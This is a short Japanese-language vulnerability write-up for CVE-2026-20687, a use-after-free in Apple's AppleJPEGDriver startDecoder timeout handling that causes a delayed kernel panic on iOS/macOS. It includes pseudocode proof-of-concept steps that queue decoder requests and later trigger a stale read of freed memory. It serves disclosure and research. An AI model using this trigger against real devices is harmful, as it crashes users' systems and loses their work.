
CVE-2026-20687: AppleJPEGDriver startDecoder タイムアウト UAF — iOS/macOS カーネルの脆弱性により遅延パニックが発生(A19 Pro、iOS 26.3 RC)
CVE-2026-20687 | 著者: Johnny Franks (@0xjohnny)
コンポーネント: カーネル
影響: アプリが予期しないシステム終了を引き起こしたり、カーネルメモリに書き込んだりする可能性があります
説明: 解放後使用(use after free)の問題は、メモリ管理の改善により対処されました。
これはお使いのデバイスをカーネルパニックに陥れます。作業内容を保存してください。
iOS 26.3(23D125)、iPhone18,2(iPhone 17 Pro Max、A19 Pro)でテスト済みです。
直接トリガー:
// PoC: ドライバを準備する。パニックは通常、Cameraを開くまで遅延される。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// その後、Cameraを開くと以下がトリガーされる:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: デキューしない (req + 0x78)
// さらにその後 (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // req+0x80 のUAF読み取り -> MTEタグフォールト -> パニック
ios-app/Test.xcodeproj を開きます